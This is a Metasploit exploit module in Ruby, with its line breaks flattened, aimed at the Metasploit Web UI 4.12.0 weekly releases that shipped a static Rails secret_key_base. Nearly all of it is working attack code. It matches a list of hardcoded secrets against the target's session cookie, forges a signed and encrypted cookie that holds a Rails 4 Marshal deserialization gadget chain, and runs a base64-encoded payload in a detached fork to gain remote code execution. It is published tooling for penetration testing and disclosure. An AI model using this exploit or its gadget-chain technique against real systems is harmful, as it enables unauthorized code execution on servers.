## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking #Helper Classes copy/paste from Rails4 class MessageVerifier class InvalidSignature < StandardError; end def initialize(secret, options = {}) @secret = secret @digest = options[:digest] || 'SHA1' @serializer = options[:serializer] || Marshal end def generate(value) data = ::Base64.strict_encode64(@serializer.dump(value)) "#{data}--#{generate_digest(data)}" end def generate_digest(data) require 'openssl' unless defined?(OpenSSL) OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) end end class MessageEncryptor module NullSerializer #:nodoc: def self.load(value) value end def self.dump(value) value end end class InvalidMessage < StandardError; end OpenSSLCipherError = OpenSSL::Cipher::CipherError def initialize(secret, *signature_key_or_options) options = signature_key_or_options.extract_options! sign_secret = signature_key_or_options.first @secret = secret @sign_secret = sign_secret @cipher = options[:cipher] || 'aes-256-cbc' @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) # @serializer = options[:serializer] || Marshal end def encrypt_and_sign(value) @verifier.generate(_encrypt(value)) end def _encrypt(value) cipher = new_cipher cipher.encrypt cipher.key = @secret # Rely on OpenSSL for the initialization vector iv = cipher.random_iv #encrypted_data = cipher.update(@serializer.dump(value)) encrypted_data = cipher.update(value) encrypted_data << cipher.final [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") end def new_cipher OpenSSL::Cipher::Cipher.new(@cipher) end end class KeyGenerator def initialize(secret, options = {}) @secret = secret @iterations = options[:iterations] || 2**16 end def generate_key(salt, key_size=64) OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) end end include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Metasploit Web UI Static secret_key_base Value', 'Description' => %q{ This module exploits the Web UI for Metasploit Community, Express and Pro where one of a certain set of Weekly Releases have been applied. These Weekly Releases introduced a static secret_key_base value. Knowledge of the static secret_key_base value allows for deserialization of a crafted Ruby Object, achieving code execution. This module is based on exploits/multi/http/rails_secret_deserialization }, 'Author' => [ 'Justin Steven', # @justinsteven 'joernchen of Phenoelit ' # author of rails_secret_deserialization ], 'License' => MSF_LICENSE, 'References' => [ ['OVE', '20160904-0002'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'], ['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md'] ], 'DisclosureDate' => 'Sep 15 2016', 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true } )) register_options( [ Opt::RPORT(3790), OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]), ], self.class) end # # This stub ensures that the payload runs outside of the Rails process # Otherwise, the session can be killed on timeout # def detached_payload_stub(code) %Q^ code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first if RUBY_PLATFORM =~ /mswin|mingw|win32/ inp = IO.popen("ruby", "wb") rescue nil if inp inp.write(code) inp.close end else Kernel.fork do eval(code) end end {} ^.strip.split(/\n/).map{|line| line.strip}.join("\n") end def check_secret(data, digest, secret) data = Rex::Text.uri_decode(data) keygen = KeyGenerator.new(secret,{:iterations => 1000}) sigkey = keygen.generate_key('signed encrypted cookie') digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), sigkey, data) end def get_secret(data, digest) secrets = [ ['4.12.0_2016061501', 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7'], ['4.12.0_2016062101', '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc'], ['4.12.0_2016062101', '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde'], ['4.12.0_2016081001', '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a'], ['4.12.0_2016081201', '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32'], ['4.12.0_2016083001', '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615'], ['unreleased build', 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c'] ] for secret in secrets return secret if check_secret(data, digest, secret[1]) end [nil, nil] end def build_signed_cookie(secret) keygen = KeyGenerator.new(secret,{:iterations => 1000}) enckey = keygen.generate_key('encrypted cookie') sigkey = keygen.generate_key('signed encrypted cookie') crypter = MessageEncryptor.new(enckey, sigkey) # Embed the payload within detached stub code = "eval('" + Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) + "'.unpack('m0').first)" # Embed code within Rails 4 popchain cookie = "\x04\b" + "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + ":\x0E@instanceo" + ":\bERB\x07" + ":\t@src"+ Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\f@method:\vresult:" + "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" crypter.encrypt_and_sign(cookie) end def check cookie_name = '_ui_session' vprint_status("Checking for cookie #{cookie_name}") res = send_request_cgi({ 'uri' => datastore['TARGETURI'] || "/", 'method' => 'GET', }, 25) unless res return Exploit::CheckCode::Unknown # Target didn't respond end if res.get_cookies.empty? return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue. end match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) unless match return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue. end if match[1] == cookie_name vprint_status("Found cookie") else vprint_status("Adjusting cookie name to #{match[1]}") cookie_name = match[1] end vprint_status("Searching for proper secret") (version, secret) = get_secret(match[2], match[3]) if secret vprint_status("Found secret, detected version #{version}") Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end # # Send the actual request # def exploit cookie_name = '_ui_session' print_status("Checking for cookie #{cookie_name}") res = send_request_cgi({ 'uri' => datastore['TARGETURI'] || "/", 'method' => 'GET', }, 25) unless res fail_with(Failure::Unreachable, "Target didn't respond") end if res.get_cookies.empty? fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.") end match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) unless match fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.") end if match[1] == cookie_name vprint_status("Found cookie") else print_status("Adjusting cookie name to #{match[1]}") cookie_name = match[1] end print_status("Searching for proper secret") (version, secret) = get_secret(match[2], match[3]) unless secret fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?") end print_status("Found secret, detected version #{version}") cookie = build_signed_cookie(secret) print_status "Sending cookie #{cookie_name}" res = send_request_cgi({ 'uri' => datastore['TARGETURI'] || "/", 'method' => 'GET', 'headers' => {'Cookie' => cookie_name+"="+ cookie}, }, 25) handler end end